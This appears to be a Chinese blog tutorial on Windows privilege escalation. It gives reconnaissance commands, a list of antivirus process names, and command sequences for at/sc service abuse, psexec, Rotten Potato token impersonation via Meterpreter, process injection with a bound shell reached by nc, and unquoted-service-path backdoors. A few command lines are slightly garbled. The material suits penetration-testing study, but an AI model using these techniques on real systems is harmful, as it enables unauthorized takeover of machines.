windows提权

参考原文链接:https://zhuanlan.zhihu.com/p/394060852

信息收集

常规信息收集

1
2
3
4
5
6
7
8
9
10
systeminfo #查询系统信息
hostname #主机名
net user #查看用户信息
netstat -and|find "3389" # 查看服务pid号
wmic os get caption #查看系统名
wmic qfe get Description,HotFixID,InstalledOn134 #查看补丁信息
wmic product get name,version #查看当前安装程序
wmic service list brief #查询本机进程
net share #查看本机共享列表
netsh firewall show config #查看防火墙配置

常见的杀软如下

  • 360sd.exe 360杀毒
  • 360tray.exe 360实时防护
  • ZhuDongFangYu.exe 360主动防御
  • KSafeTray.exe 金山卫士
  • SafeDogUpdateCenter.exe 安全狗
  • McAfee McShield.exe McAfee
  • egui.exe NOD32
  • AVP.exe 卡巴斯基
  • avguard.exe 小红伞
  • bdagent.exe BitDefender

一般需要收集的信息

  • 机器的系统及其版本
  • 机器的打补丁情况
  • 机器安装的服务
  • 机器的防火墙策略配置
  • 机器的防护软件情况

提权思路

提权定义

提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。

常用的提权方法

Windows常用的提权方法系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等

几种本地提权方法

系统内核溢出漏洞提权

手工查找补丁情况

1
2
systeminfo  #查看补丁
wmic qfe get Description,HotFixID,InstalledOn #查看补丁信息

msf后渗透扫描

1
post/windows/gather/enum_patches

利用(Vulmap、Wes、WindowsVulnScan)对比补丁进而进行提权

at定时任务命令利用

在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将权限提升至system权限。

AT命令是Windows XP中内置的命令,它也可以媲美Windows中的“计划任务”,而且在计划的安排、任务的管理、工作事务的处理方面,AT命令具有更强大更神通的功能。AT命令可在指定时间和日期、在指定计算机上运行命令和程序。

因为at命令默认是以system权限下运行的所以我们可以利用以下命令,进行提权。

有GUI条件下(远程桌面连接的情况)

at 时间 /interactive cmd 其中里面的/interactive参数是开启交互模式

1
at 14:40 /interactive cmd

几分钟后,启动了一个system权限的cmd

注:如果想要桌面也是使用system权限,就需要再添加一个system权限开启的桌面进程

1
taskmgr.exe

最后在任务管理器里结束掉之前账号开启的桌面进程

无GUI条件下

可以将时间后面的路径更改为上传的提权木马。

sc命令提权

SC命令介绍

sc是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于控制面板中管理工具项中的服务,通俗理解就是 SC 可以启动一个服务。

适用版本:windows/ 7、8、2003、2008、2012、2016

前提:已获取本地用户权限,图形化界面

步骤

执行命令创建一个名叫syscmd的交互式cmd执行服务

1
sc Create syscmd binPath= "cmd /K start" type= own type= interact 

执行命令,启动syscmd服务

1
sc start syscmd

实战中还可以将binPath=”cmd /K start” 更换为binPath=”上传的木马路径” 运行木马文件来获取system权限。

PS命令提权

适用于Windows/2003、2008、2012、2016

微软官方系统调试工具包: PsTools - Sysinternals | Microsoft Learn

执行命令:

1
psexec.exe -accepteula -s -i -d cmd   #调用运行cmd

烂土豆提权

注意(重点:用烂土豆配合本地用户提权是成功不了的,必须是web权限或数据库权限

烂土豆提权
2.如果权限不够(如:只有web shell权限) 无法获取system令牌,可以配合烂土豆漏洞获取。

烂土豆下载:https://github.com/foxglovesec/Potato

程序路径:Potato/source/Potato/Potato/bin/Release/Potato.exe

生成一个MSF木马上传让其上线,并连接,再在目标系统上传烂土豆程序:potato.exe。在反弹回来的shell界面执行命令。

执行命令:

1
2
3
4
5
6
7
execute -cH -f ./potato.exe   #执行烂土豆程序

use incognito #加载窃取模块

list_tokens -u #查看可窃取的令牌

impersonate_token "NT AUTHORITY\SYSTEM" #窃取令牌

进程迁移提权

前提条件:需要存在system权限的进程,就可以使用迁移。没有就是当前权限不够

进程迁移注入提权就是将获取到权限低的进程注入至进程中权限高的中,这样就实现了权限提升,同时注入进程提权相当于开启了一个后门, 隐蔽性极高,不会创建新的进程,很难发现。

pinjector工具注入
提权测试:Win 2003 pinjector工具貌似只适用于2003版本。

前提:已获取本地用户权限

1.pinjector工具实现进程注入,需要先下载工具,然后将工具上传需要提权的系统中即可。

下载:http://www.tarasco.org/security/Process_Injector/

2.将工具上传之后,执行命令查看所有进程的权限

执行命令:

1
pinjector.exe -l    #列取所有进程

3.选择一个system权限的进程pid编号,使用命令将权限绑定到进程中

1
pinjector.exe -p <pid> cmd <port>  #选择一个system权限运行的进程,对此pid进程执行注入,并建立侦听端口

4.攻击机使用nc命令连接进程

1
nc -nv 目标ip 端口

可信任服务路径漏洞

如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的

漏洞原理

这里假设有一个服务路径

1
C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe

带引号时:”C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe”会被看成一个完整的服务路径,故不会产生漏洞。

不带引号时:我们认为的服务路径是C:\Program Files (x86)\Common Files\Tencent\QQMusic\QQMusicService.exe,但是由于没有双引号的包裹,Windows会认为C:\Program空格后面的为Progr

寻找存在漏洞的服务

1
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

img

再把后门文件放在对应的文件路径下

img

在msf上开启监听,然后启动对应服务

img

接收到shell,而且是system权限

img

仍在收集更新